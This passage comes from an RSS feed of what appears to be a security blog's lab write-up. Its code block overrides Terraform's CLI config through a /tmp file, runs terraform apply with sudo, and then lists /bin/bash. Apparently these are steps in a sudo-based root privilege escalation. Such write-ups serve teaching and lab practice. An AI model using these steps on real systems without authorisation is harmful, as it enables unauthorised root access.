&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export TF_CLI_CONFIG_FILE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/tmp/dev.tfrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /usr/bin/terraform -chdir&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/opt/examples apply
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/a13c59dd-a373-4077-b3b8-ab5545f08259.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>